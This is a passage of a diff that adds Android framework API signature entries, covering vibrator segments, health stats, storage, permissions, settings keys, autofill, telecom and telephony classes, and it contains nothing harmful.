+    method @NonNull public android.os.VibrationEffect.WaveformBuilder addStep(@FloatRange(from=0.0f, to=1.0f) float, @FloatRange(from=-1.0F, to=1.0f) float, @IntRange(from=0) int);
+    method @NonNull public android.os.VibrationEffect build();
+    method @NonNull public android.os.VibrationEffect build(int);
+  }
+
+  public class VintfObject {
+    method public static String[] getHalNamesAndVersions();
+    method @NonNull public static String getPlatformSepolicyVersion();
+    method public static String getSepolicyVersion();
+    method public static Long getTargetFrameworkCompatibilityMatrixVersion();
+    method public static java.util.Map<java.lang.String,java.lang.String[]> getVndkSnapshots();
+    method public static String[] report();
+  }
+
+  public class VintfRuntimeInfo {
+    method public static String getCpuInfo();
+    method public static String getHardwareId();
+    method public static String getKernelVersion();
+    method public static String getNodeName();
+    method public static String getOsName();
+    method public static String getOsRelease();
+    method public static String getOsVersion();
+  }
+
+  public class WorkSource implements android.os.Parcelable {
+    method public boolean add(int);
+    method public boolean add(int, String);
+    method @Deprecated public android.os.WorkSource addReturningNewbs(android.os.WorkSource);
+    method @Deprecated public android.os.WorkSource[] setReturningDiffs(android.os.WorkSource);
+  }
+
+}
+
+package android.os.health {
+
+  public class HealthKeys {
+    ctor public HealthKeys();
+    field public static final int BASE_PACKAGE = 40000; // 0x9c40
+    field public static final int BASE_PID = 20000; // 0x4e20
+    field public static final int BASE_PROCESS = 30000; // 0x7530
+    field public static final int BASE_SERVICE = 50000; // 0xc350
+    field public static final int BASE_UID = 10000; // 0x2710
+    field public static final int TYPE_COUNT = 5; // 0x5
+    field public static final int TYPE_MEASUREMENT = 1; // 0x1
+    field public static final int TYPE_MEASUREMENTS = 4; // 0x4
+    field public static final int TYPE_STATS = 2; // 0x2
+    field public static final int TYPE_TIMER = 0; // 0x0
+    field public static final int TYPE_TIMERS = 3; // 0x3
+    field public static final int UNKNOWN_KEY = 0; // 0x0
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.FIELD}) public static @interface HealthKeys.Constant {
+    method public abstract int type();
+  }
+
+  public static class HealthKeys.Constants {
+    ctor public HealthKeys.Constants(Class);
+    method public String getDataType();
+    method public int getIndex(int, int);
+    method public int[] getKeys(int);
+    method public int getSize(int);
+  }
+
+  public class HealthStats {
+    ctor public HealthStats(android.os.Parcel);
+  }
+
+  public class HealthStatsParceler implements android.os.Parcelable {
+    ctor public HealthStatsParceler(android.os.health.HealthStatsWriter);
+    ctor public HealthStatsParceler(android.os.Parcel);
+    method public int describeContents();
+    method public android.os.health.HealthStats getHealthStats();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.health.HealthStatsParceler> CREATOR;
+  }
+
+  public class HealthStatsWriter {
+    ctor public HealthStatsWriter(android.os.health.HealthKeys.Constants);
+    method public void addMeasurement(int, long);
+    method public void addMeasurements(int, String, long);
+    method public void addStats(int, String, android.os.health.HealthStatsWriter);
+    method public void addTimer(int, int, long);
+    method public void addTimers(int, String, android.os.health.TimerStat);
+    method public void flattenToParcel(android.os.Parcel);
+  }
+
+}
+
+package android.os.storage {
+
+  public final class CrateInfo implements android.os.Parcelable {
+    ctor public CrateInfo(@NonNull CharSequence, long);
+    ctor public CrateInfo(@NonNull CharSequence);
+    method @Nullable public static android.os.storage.CrateInfo copyFrom(int, @Nullable String, @Nullable String);
+    method public int describeContents();
+    method public long getExpirationMillis();
+    method @NonNull public CharSequence getLabel();
+    method public void writeToParcel(@Nullable android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.storage.CrateInfo> CREATOR;
+  }
+
+  public class StorageManager {
+    method @NonNull public static java.util.UUID convert(@NonNull String);
+    method @NonNull public static String convert(@NonNull java.util.UUID);
+    method public boolean isAppIoBlocked(@NonNull java.util.UUID, int, int, int);
+    method public static boolean isUserKeyUnlocked(int);
+  }
+
+  public final class StorageVolume implements android.os.Parcelable {
+    method public String getPath();
+  }
+
+  public static final class StorageVolume.Builder {
+    ctor public StorageVolume.Builder(@NonNull String, @NonNull java.io.File, @NonNull String, @NonNull android.os.UserHandle, @NonNull String);
+    method @NonNull public android.os.storage.StorageVolume build();
+    method @NonNull public android.os.storage.StorageVolume.Builder setEmulated(boolean);
+    method @NonNull public android.os.storage.StorageVolume.Builder setPrimary(boolean);
+    method @NonNull public android.os.storage.StorageVolume.Builder setRemovable(boolean);
+    method @NonNull public android.os.storage.StorageVolume.Builder setStorageUuid(@Nullable java.util.UUID);
+    method @NonNull public android.os.storage.StorageVolume.Builder setUuid(@Nullable String);
+  }
+
+}
+
+package android.os.strictmode {
+
+  public final class ExplicitGcViolation extends android.os.strictmode.Violation {
+  }
+
+}
+
+package android.os.vibrator {
+
+  public final class PrebakedSegment extends android.os.vibrator.VibrationEffectSegment {
+    method @NonNull public android.os.vibrator.PrebakedSegment applyEffectStrength(int);
+    method public int describeContents();
+    method public long getDuration();
+    method public int getEffectId();
+    method public int getEffectStrength();
+    method public boolean hasNonZeroAmplitude();
+    method @NonNull public android.os.vibrator.PrebakedSegment resolve(int);
+    method @NonNull public android.os.vibrator.PrebakedSegment scale(float);
+    method public boolean shouldFallback();
+    method public void validate();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.vibrator.PrebakedSegment> CREATOR;
+  }
+
+  public final class PrimitiveSegment extends android.os.vibrator.VibrationEffectSegment {
+    method @NonNull public android.os.vibrator.PrimitiveSegment applyEffectStrength(int);
+    method public int describeContents();
+    method public int getDelay();
+    method public long getDuration();
+    method public int getPrimitiveId();
+    method public float getScale();
+    method public boolean hasNonZeroAmplitude();
+    method @NonNull public android.os.vibrator.PrimitiveSegment resolve(int);
+    method @NonNull public android.os.vibrator.PrimitiveSegment scale(float);
+    method public void validate();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.vibrator.PrimitiveSegment> CREATOR;
+  }
+
+  public final class RampSegment extends android.os.vibrator.VibrationEffectSegment {
+    method @NonNull public android.os.vibrator.RampSegment applyEffectStrength(int);
+    method public int describeContents();
+    method public long getDuration();
+    method public float getEndAmplitude();
+    method public float getEndFrequency();
+    method public float getStartAmplitude();
+    method public float getStartFrequency();
+    method public boolean hasNonZeroAmplitude();
+    method @NonNull public android.os.vibrator.RampSegment resolve(int);
+    method @NonNull public android.os.vibrator.RampSegment scale(float);
+    method public void validate();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.vibrator.RampSegment> CREATOR;
+  }
+
+  public final class StepSegment extends android.os.vibrator.VibrationEffectSegment {
+    method @NonNull public android.os.vibrator.StepSegment applyEffectStrength(int);
+    method public int describeContents();
+    method public float getAmplitude();
+    method public long getDuration();
+    method public float getFrequency();
+    method public boolean hasNonZeroAmplitude();
+    method @NonNull public android.os.vibrator.StepSegment resolve(int);
+    method @NonNull public android.os.vibrator.StepSegment scale(float);
+    method public void validate();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.vibrator.StepSegment> CREATOR;
+  }
+
+  public abstract class VibrationEffectSegment implements android.os.Parcelable {
+    method @NonNull public abstract <T extends android.os.vibrator.VibrationEffectSegment> T applyEffectStrength(int);
+    method public abstract long getDuration();
+    method public abstract boolean hasNonZeroAmplitude();
+    method @NonNull public abstract <T extends android.os.vibrator.VibrationEffectSegment> T resolve(int);
+    method @NonNull public abstract <T extends android.os.vibrator.VibrationEffectSegment> T scale(float);
+    method public abstract void validate();
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.vibrator.VibrationEffectSegment> CREATOR;
+  }
+
+}
+
+package android.permission {
+
+  public final class PermGroupUsage {
+    ctor public PermGroupUsage(@NonNull String, int, @NonNull String, long, boolean, boolean, @Nullable CharSequence);
+    method @Nullable public CharSequence getAttribution();
+    method public long getLastAccess();
+    method @NonNull public String getPackageName();
+    method @NonNull public String getPermGroupName();
+    method public int getUid();
+    method public boolean isActive();
+    method public boolean isPhoneCall();
+  }
+
+  public final class PermissionControllerManager {
+    method @RequiresPermission(android.Manifest.permission.GET_RUNTIME_PERMISSIONS) public void countPermissionApps(@NonNull java.util.List<java.lang.String>, int, @NonNull android.permission.PermissionControllerManager.OnCountPermissionAppsResultCallback, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.GET_RUNTIME_PERMISSIONS) public void getAppPermissions(@NonNull String, @NonNull android.permission.PermissionControllerManager.OnGetAppPermissionResultCallback, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS) public void revokeRuntimePermission(@NonNull String, @NonNull String);
+  }
+
+  public static interface PermissionControllerManager.OnCountPermissionAppsResultCallback {
+    method public void onCountPermissionApps(int);
+  }
+
+  public static interface PermissionControllerManager.OnGetAppPermissionResultCallback {
+    method public void onGetAppPermissions(@NonNull java.util.List<android.permission.RuntimePermissionPresentationInfo>);
+  }
+
+  public final class PermissionManager {
+    method @NonNull @RequiresPermission(android.Manifest.permission.GET_APP_OPS_STATS) public java.util.List<android.permission.PermGroupUsage> getIndicatorAppOpUsageData();
+    method @NonNull @RequiresPermission(android.Manifest.permission.GET_APP_OPS_STATS) public java.util.List<android.permission.PermGroupUsage> getIndicatorAppOpUsageData(boolean);
+    method @NonNull public android.content.AttributionSource registerAttributionSource(@NonNull android.content.AttributionSource);
+  }
+
+}
+
+package android.print {
+
+  public final class PrintJobInfo implements android.os.Parcelable {
+    method public float getProgress();
+    method @Nullable public CharSequence getStatus(@NonNull android.content.pm.PackageManager);
+  }
+
+  public final class PrinterInfo implements android.os.Parcelable {
+    method @Nullable public android.graphics.drawable.Drawable loadIcon(@NonNull android.content.Context);
+  }
+
+}
+
+package android.provider {
+
+  public interface AndroidDeviceConfig {
+    field public static final String KEY_SYSTEM_GESTURES_EXCLUDED_BY_PRE_Q_STICKY_IMMERSIVE = "system_gestures_excluded_by_pre_q_sticky_immersive";
+    field public static final String KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP = "system_gesture_exclusion_limit_dp";
+  }
+
+  public static final class CalendarContract.Calendars implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.SyncColumns {
+    field public static final String[] SYNC_WRITABLE_COLUMNS;
+  }
+
+  public static final class CalendarContract.Events implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.EventsColumns android.provider.CalendarContract.SyncColumns {
+    field public static final String[] SYNC_WRITABLE_COLUMNS;
+  }
+
+  public final class ContactsContract {
+    field public static final String HIDDEN_COLUMN_PREFIX = "x_";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Phone implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final android.net.Uri ENTERPRISE_CONTENT_URI;
+  }
+
+  public static final class ContactsContract.PinnedPositions {
+    field public static final String UNDEMOTE_METHOD = "undemote";
+  }
+
+  public static final class ContactsContract.RawContactsEntity implements android.provider.BaseColumns android.provider.ContactsContract.DataColumns android.provider.ContactsContract.RawContactsColumns {
+    field public static final android.net.Uri CORP_CONTENT_URI;
+  }
+
+  public final class DeviceConfig {
+    field public static final String NAMESPACE_ALARM_MANAGER = "alarm_manager";
+    field public static final String NAMESPACE_ANDROID = "android";
+    field public static final String NAMESPACE_APP_COMPAT_OVERRIDES = "app_compat_overrides";
+    field public static final String NAMESPACE_CONSTRAIN_DISPLAY_APIS = "constrain_display_apis";
+    field public static final String NAMESPACE_DEVICE_IDLE = "device_idle";
+    field public static final String NAMESPACE_JOB_SCHEDULER = "jobscheduler";
+  }
+
+  public final class Settings {
+    field public static final int RESET_MODE_PACKAGE_DEFAULTS = 1; // 0x1
+  }
+
+  public static final class Settings.Global extends android.provider.Settings.NameValueTable {
+    field public static final String APP_OPS_CONSTANTS = "app_ops_constants";
+    field public static final String ARE_USER_DISABLED_HDR_FORMATS_ALLOWED = "are_user_disabled_hdr_formats_allowed";
+    field public static final String AUTOMATIC_POWER_SAVE_MODE = "automatic_power_save_mode";
+    field public static final String BATTERY_SAVER_CONSTANTS = "battery_saver_constants";
+    field public static final String DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW = "enable_non_resizable_multi_window";
+    field public static final String DISABLE_WINDOW_BLURS = "disable_window_blurs";
+    field public static final String DYNAMIC_POWER_SAVINGS_DISABLE_THRESHOLD = "dynamic_power_savings_disable_threshold";
+    field public static final String DYNAMIC_POWER_SAVINGS_ENABLED = "dynamic_power_savings_enabled";
+    field public static final String HIDDEN_API_BLACKLIST_EXEMPTIONS = "hidden_api_blacklist_exemptions";
+    field public static final String HIDDEN_API_POLICY = "hidden_api_policy";
+    field public static final String HIDE_ERROR_DIALOGS = "hide_error_dialogs";
+    field @Deprecated public static final String LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST = "location_ignore_settings_package_whitelist";
+    field public static final String LOW_POWER_MODE = "low_power";
+    field public static final String LOW_POWER_MODE_STICKY = "low_power_sticky";
+    field @Deprecated public static final String NOTIFICATION_BUBBLES = "notification_bubbles";
+    field public static final String OVERLAY_DISPLAY_DEVICES = "overlay_display_devices";
+    field public static final String SHOW_FIRST_CRASH_DIALOG = "show_first_crash_dialog";
+    field public static final String USER_DISABLED_HDR_FORMATS = "user_disabled_hdr_formats";
+    field public static final String USE_OPEN_WIFI_PACKAGE = "use_open_wifi_package";
+  }
+
+  public static final class Settings.Secure extends android.provider.Settings.NameValueTable {
+    field public static final String ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED = "accessibility_display_magnification_enabled";
+    field public static final String ACCESSIBILITY_MAGNIFICATION_CAPABILITY = "accessibility_magnification_capability";
+    field public static final String ACCESSIBILITY_MAGNIFICATION_MODE = "accessibility_magnification_mode";
+    field public static final int ACCESSIBILITY_MAGNIFICATION_MODE_ALL = 3; // 0x3
+    field public static final int ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN = 1; // 0x1
+    field public static final int ACCESSIBILITY_MAGNIFICATION_MODE_WINDOW = 2; // 0x2
+    field public static final String ACCESSIBILITY_SHORTCUT_TARGET_SERVICE = "accessibility_shortcut_target_service";
+    field public static final String ANR_SHOW_BACKGROUND = "anr_show_background";
+    field public static final String AUTOFILL_SERVICE = "autofill_service";
+    field public static final String CONTENT_CAPTURE_ENABLED = "content_capture_enabled";
+    field public static final String DISABLED_PRINT_SERVICES = "disabled_print_services";
+    field @Deprecated public static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES = "enabled_notification_policy_access_packages";
+    field public static final String ENABLED_VR_LISTENERS = "enabled_vr_listeners";
+    field public static final String IMMERSIVE_MODE_CONFIRMATIONS = "immersive_mode_confirmations";
+    field public static final String NOTIFICATION_BADGING = "notification_badging";
+    field public static final String NOTIFICATION_BUBBLES = "notification_bubbles";
+    field public static final String POWER_MENU_LOCKED_SHOW_CONTENT = "power_menu_locked_show_content";
+    field public static final String SELECTED_SPELL_CHECKER = "selected_spell_checker";
+    field public static final String SELECTED_SPELL_CHECKER_SUBTYPE = "selected_spell_checker_subtype";
+    field public static final String SHOW_FIRST_CRASH_DIALOG_DEV_OPTION = "show_first_crash_dialog_dev_option";
+    field public static final String SHOW_IME_WITH_HARD_KEYBOARD = "show_ime_with_hard_keyboard";
+    field @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public static final String SYNC_PARENT_SOUNDS = "sync_parent_sounds";
+    field public static final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+  }
+
+  public static final class Telephony.Sms.Intents {
+    field public static final String SMS_CARRIER_PROVISION_ACTION = "android.provider.Telephony.SMS_CARRIER_PROVISION";
+  }
+
+  public static final class VoicemailContract.Voicemails implements android.provider.BaseColumns android.provider.OpenableColumns {
+    field public static final String _DATA = "_data";
+  }
+
+}
+
+package android.security {
+
+  public final class KeyChain {
+    method @RequiresPermission("android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP") @WorkerThread public static boolean setCredentialManagementApp(@NonNull android.content.Context, @NonNull String, @NonNull android.security.AppUriAuthenticationPolicy);
+  }
+
+  public class KeyStoreException extends java.lang.Exception {
+    ctor public KeyStoreException(int, String);
+    method public int getErrorCode();
+  }
+
+}
+
+package android.security.keystore {
+
+  public static final class KeyGenParameterSpec.Builder {
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUniqueIdIncluded(boolean);
+  }
+
+  public final class KeyProtection implements java.security.KeyStore.ProtectionParameter {
+    method public long getBoundToSpecificSecureUserId();
+  }
+
+  public static final class KeyProtection.Builder {
+    method public android.security.keystore.KeyProtection.Builder setBoundToSpecificSecureUserId(long);
+  }
+
+}
+
+package android.service.autofill {
+
+  public final class CharSequenceTransformation extends android.service.autofill.InternalTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    method public void apply(@NonNull android.service.autofill.ValueFinder, @NonNull android.widget.RemoteViews, int) throws java.lang.Exception;
+  }
+
+  public final class CompositeUserData implements android.os.Parcelable {
+    ctor public CompositeUserData(@Nullable android.service.autofill.UserData, @NonNull android.service.autofill.UserData);
+    method public int describeContents();
+    method public String[] getCategoryIds();
+    method public android.os.Bundle getDefaultFieldClassificationArgs();
+    method @Nullable public String getFieldClassificationAlgorithm();
+    method @Nullable public String getFieldClassificationAlgorithmForCategory(@NonNull String);
+    method public android.util.ArrayMap<java.lang.String,java.lang.String> getFieldClassificationAlgorithms();
+    method public android.util.ArrayMap<java.lang.String,android.os.Bundle> getFieldClassificationArgs();
+    method public String[] getValues();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.CompositeUserData> CREATOR;
+  }
+
+  public final class CustomDescription implements android.os.Parcelable {
+    method @Nullable public android.util.SparseArray<android.service.autofill.InternalOnClickAction> getActions();
+  }
+
+  public final class Dataset implements android.os.Parcelable {
+    method @Nullable public android.content.IntentSender getAuthentication();
+    method @Nullable public android.content.ClipData getFieldContent();
+    method @Nullable public java.util.ArrayList<android.view.autofill.AutofillId> getFieldIds();
+    method @Nullable public java.util.ArrayList<android.view.autofill.AutofillValue> getFieldValues();
+    method @Nullable public String getId();
+    method public boolean isEmpty();
+  }
+
+  public static final class Dataset.Builder {
+    method @NonNull public android.service.autofill.Dataset.Builder setContent(@NonNull android.view.autofill.AutofillId, @Nullable android.content.ClipData);
+  }
+
+  public final class DateTransformation extends android.service.autofill.InternalTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    method public void apply(@NonNull android.service.autofill.ValueFinder, @NonNull android.widget.RemoteViews, int) throws java.lang.Exception;
+  }
+
+  public final class DateValueSanitizer extends android.service.autofill.InternalSanitizer implements android.os.Parcelable android.service.autofill.Sanitizer {
+    method @Nullable public android.view.autofill.AutofillValue sanitize(@NonNull android.view.autofill.AutofillValue);
+  }
+
+  public final class FillResponse implements android.os.Parcelable {
+    method public int getFlags();
+  }
+
+  public final class ImageTransformation extends android.service.autofill.InternalTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    method public void apply(@NonNull android.service.autofill.ValueFinder, @NonNull android.widget.RemoteViews, int) throws java.lang.Exception;
+  }
+
+  public abstract class InternalOnClickAction implements android.service.autofill.OnClickAction android.os.Parcelable {
+    ctor public InternalOnClickAction();
+    method public abstract void onClick(@NonNull android.view.ViewGroup);
+  }
+
+  public abstract class InternalSanitizer implements android.os.Parcelable android.service.autofill.Sanitizer {
+    ctor public InternalSanitizer();
+    method @Nullable public abstract android.view.autofill.AutofillValue sanitize(@NonNull android.view.autofill.AutofillValue);
+  }
+
+  public abstract class InternalTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    ctor public InternalTransformation();
+    method public static boolean batchApply(@NonNull android.service.autofill.ValueFinder, @NonNull android.widget.RemoteViews, @NonNull java.util.ArrayList<android.util.Pair<java.lang.Integer,android.service.autofill.InternalTransformation>>);
+  }
+
+  public abstract class InternalValidator implements android.os.Parcelable android.service.autofill.Validator {
+    ctor public InternalValidator();
+    method public abstract boolean isValid(@NonNull android.service.autofill.ValueFinder);
+  }
+
+  public final class LuhnChecksumValidator extends android.service.autofill.InternalValidator implements android.os.Parcelable android.service.autofill.Validator {
+    method public boolean isValid(@NonNull android.service.autofill.ValueFinder);
+  }
+
+  public final class RegexValidator extends android.service.autofill.InternalValidator implements android.os.Parcelable android.service.autofill.Validator {
+    method public boolean isValid(@NonNull android.service.autofill.ValueFinder);
+  }
+
+  public final class TextValueSanitizer extends android.service.autofill.InternalSanitizer implements android.os.Parcelable android.service.autofill.Sanitizer {
+    method @Nullable public android.view.autofill.AutofillValue sanitize(@NonNull android.view.autofill.AutofillValue);
+  }
+
+  public final class UserData implements android.os.Parcelable {
+    method public android.util.ArrayMap<java.lang.String,java.lang.String> getFieldClassificationAlgorithms();
+  }
+
+  public interface ValueFinder {
+    method @Nullable public default String findByAutofillId(@NonNull android.view.autofill.AutofillId);
+    method @Nullable public android.view.autofill.AutofillValue findRawValueByAutofillId(@NonNull android.view.autofill.AutofillId);
+  }
+
+  public final class VisibilitySetterAction extends android.service.autofill.InternalOnClickAction implements android.service.autofill.OnClickAction android.os.Parcelable {
+    method public void onClick(@NonNull android.view.ViewGroup);
+  }
+
+}
+
+package android.service.autofill.augmented {
+
+  public final class FillRequest {
+    method @NonNull public android.content.ComponentName getActivityComponent();
+    method @NonNull public android.view.autofill.AutofillId getFocusedId();
+    method @NonNull public android.view.autofill.AutofillValue getFocusedValue();
+    method @Nullable public android.app.assist.AssistStructure.ViewNode getFocusedViewNode();
+    method @Nullable public android.view.inputmethod.InlineSuggestionsRequest getInlineSuggestionsRequest();
+    method @Nullable public android.service.autofill.augmented.PresentationParams getPresentationParams();
+    method public int getTaskId();
+  }
+
+}
+
+package android.service.notification {
+
+  @Deprecated public abstract class ConditionProviderService extends android.app.Service {
+    method @Deprecated public boolean isBound();
+  }
+
+}
+
+package android.service.quickaccesswallet {
+
+  public interface QuickAccessWalletClient extends java.io.Closeable {
+    method public void addWalletServiceEventListener(@NonNull android.service.quickaccesswallet.QuickAccessWalletClient.WalletServiceEventListener);
+    method public void addWalletServiceEventListener(@NonNull java.util.concurrent.Executor, @NonNull android.service.quickaccesswallet.QuickAccessWalletClient.WalletServiceEventListener);
+    method @NonNull public static android.service.quickaccesswallet.QuickAccessWalletClient create(@NonNull android.content.Context);
+    method @Nullable public android.content.Intent createWalletIntent();
+    method @Nullable public android.content.Intent createWalletSettingsIntent();
+    method public void disconnect();
+    method public void getWalletCards(@NonNull android.service.quickaccesswallet.GetWalletCardsRequest, @NonNull android.service.quickaccesswallet.QuickAccessWalletClient.OnWalletCardsRetrievedCallback);
+    method public void getWalletCards(@NonNull java.util.concurrent.Executor, @NonNull android.service.quickaccesswallet.GetWalletCardsRequest, @NonNull android.service.quickaccesswallet.QuickAccessWalletClient.OnWalletCardsRetrievedCallback);
+    method public boolean isWalletFeatureAvailable();
+    method public boolean isWalletFeatureAvailableWhenDeviceLocked();
+    method public boolean isWalletServiceAvailable();
+    method public void notifyWalletDismissed();
+    method public void removeWalletServiceEventListener(@NonNull android.service.quickaccesswallet.QuickAccessWalletClient.WalletServiceEventListener);
+    method public void selectWalletCard(@NonNull android.service.quickaccesswallet.SelectWalletCardRequest);
+  }
+
+  public static interface QuickAccessWalletClient.OnWalletCardsRetrievedCallback {
+    method public void onWalletCardRetrievalError(@NonNull android.service.quickaccesswallet.GetWalletCardsError);
+    method public void onWalletCardsRetrieved(@NonNull android.service.quickaccesswallet.GetWalletCardsResponse);
+  }
+
+  public static interface QuickAccessWalletClient.WalletServiceEventListener {
+    method public void onWalletServiceEvent(@NonNull android.service.quickaccesswallet.WalletServiceEvent);
+  }
+
+}
+
+package android.service.quicksettings {
+
+  public class TileService extends android.app.Service {
+    method public static boolean isQuickSettingsSupported();
+  }
+
+}
+
+package android.service.voice {
+
+  public class AlwaysOnHotwordDetector implements android.service.voice.HotwordDetector {
+    method @RequiresPermission(allOf={android.Manifest.permission.RECORD_AUDIO, android.Manifest.permission.CAPTURE_AUDIO_HOTWORD}) public void triggerHardwareRecognitionEventForTest(int, int, boolean, int, int, int, boolean, @NonNull android.media.AudioFormat, @Nullable byte[]);
+  }
+
+}
+
+package android.service.watchdog {
+
+  public abstract class ExplicitHealthCheckService extends android.app.Service {
+    method public void setCallback(@Nullable android.os.RemoteCallback);
+  }
+
+}
+
+package android.speech {
+
+  public class SpeechRecognizer {
+    method @MainThread @NonNull public static android.speech.SpeechRecognizer createOnDeviceTestingSpeechRecognizer(@NonNull android.content.Context);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_SPEECH_RECOGNITION) public void setTemporaryOnDeviceRecognizer(@Nullable android.content.ComponentName);
+  }
+
+}
+
+package android.telecom {
+
+  public static class Call.Details {
+    method public String getTelecomCallId();
+  }
+
+  public final class CallAudioState implements android.os.Parcelable {
+    ctor public CallAudioState(boolean, int, int, @Nullable android.bluetooth.BluetoothDevice, @NonNull java.util.Collection<android.bluetooth.BluetoothDevice>);
+  }
+
+  public static final class ConnectionRequest.Builder {
+    ctor public ConnectionRequest.Builder();
+    method @NonNull public android.telecom.ConnectionRequest build();
+    method @NonNull public android.telecom.ConnectionRequest.Builder setAccountHandle(@NonNull android.telecom.PhoneAccountHandle);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setAddress(@NonNull android.net.Uri);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setIsAdhocConferenceCall(boolean);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setParticipants(@Nullable java.util.List<android.net.Uri>);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setRttPipeFromInCall(@NonNull android.os.ParcelFileDescriptor);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setRttPipeToInCall(@NonNull android.os.ParcelFileDescriptor);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setShouldShowIncomingCallUi(boolean);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setTelecomCallId(@NonNull String);
+    method @NonNull public android.telecom.ConnectionRequest.Builder setVideoState(int);
+  }
+
+  public abstract class ConnectionService extends android.app.Service {
+    method public void onBindClient(@Nullable android.content.Intent);
+  }
+
+}
+
+package android.telephony {
+
+  public final class BarringInfo implements android.os.Parcelable {
+    ctor public BarringInfo(@Nullable android.telephony.CellIdentity, @NonNull android.util.SparseArray<android.telephony.BarringInfo.BarringServiceInfo>);
+  }
+
+  public static final class BarringInfo.BarringServiceInfo implements android.os.Parcelable {
+    ctor public BarringInfo.BarringServiceInfo(int, boolean, int, int);
+  }
+
+  public class MbmsDownloadSession implements java.lang.AutoCloseable {
+    field public static final String MBMS_DOWNLOAD_SERVICE_OVERRIDE_METADATA = "mbms-download-service-override";
+  }
+
+  public class MbmsGroupCallSession implements java.lang.AutoCloseable {
+    field public static final String MBMS_GROUP_CALL_SERVICE_OVERRIDE_METADATA = "mbms-group-call-service-override";
+  }
+
+  public class MbmsStreamingSession implements java.lang.AutoCloseable {
+    field public static final String MBMS_STREAMING_SERVICE_OVERRIDE_METADATA = "mbms-streaming-service-override";
+  }
+
+  public final class ModemActivityInfo implements android.os.Parcelable {
+    ctor public ModemActivityInfo(long, int, int, @NonNull int[], int);
+    method public boolean isEmpty();
+    method public boolean isValid();
+  }
+
+  public class PhoneNumberUtils {
+    method public static int getMinMatchForTest();
+    method public static void setMinMatchForTest(int);
+  }
+
+  public final class PreciseDataConnectionState implements android.os.Parcelable {
+    ctor @Deprecated public PreciseDataConnectionState(int, int, int, @NonNull String, @Nullable android.net.LinkProperties, int);
+  }
+
+  public class ServiceState implements android.os.Parcelable {
+    method public void addNetworkRegistrationInfo(android.telephony.NetworkRegistrationInfo);
+    method public int getDataNetworkType();
+    method public int getDataRegState();
+    method public void setCdmaSystemAndNetworkId(int, int);
+    method public void setCellBandwidths(int[]);
+    method public void setChannelNumber(int);
+    method public void setDataRoamingType(int);
+    method public void setRilDataRadioTechnology(int);
+    method public void setRilVoiceRadioTechnology(int);
+    method public void setVoiceRoamingType(int);
+  }
+
+  public final class SmsManager {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int checkSmsShortCodeDestination(String, String);
+    field public static final int SMS_CATEGORY_FREE_SHORT_CODE = 1; // 0x1
+    field public static final int SMS_CATEGORY_NOT_SHORT_CODE = 0; // 0x0
+    field public static final int SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE = 3; // 0x3
+    field public static final int SMS_CATEGORY_PREMIUM_SHORT_CODE = 4; // 0x4
+    field public static final int SMS_CATEGORY_STANDARD_SHORT_CODE = 2; // 0x2
+  }
+
+  public class TelephonyManager {
+    method public int addDevicePolicyOverrideApn(@NonNull android.content.Context, @NonNull android.telephony.data.ApnSetting);
+    method public int getCarrierIdListVersion();
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PRIVILEGED_PHONE_STATE) public java.util.List<java.lang.String> getCertsFromCarrierPrivilegeAccessRules();
+    method @NonNull public java.util.List<android.telephony.data.ApnSetting> getDevicePolicyOverrideApns(@NonNull android.content.Context);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getLine1AlphaTag();
+    method public android.util.Pair<java.lang.Integer,java.lang.Integer> getRadioHalVersion();
+    method @RequiresPermission(android.Manifest.permission.READ_PRIVILEGED_PHONE_STATE) public long getSupportedRadioAccessFamily();
+    method public boolean modifyDevicePolicyOverrideApn(@NonNull android.content.Context, int, @NonNull android.telephony.data.ApnSetting);
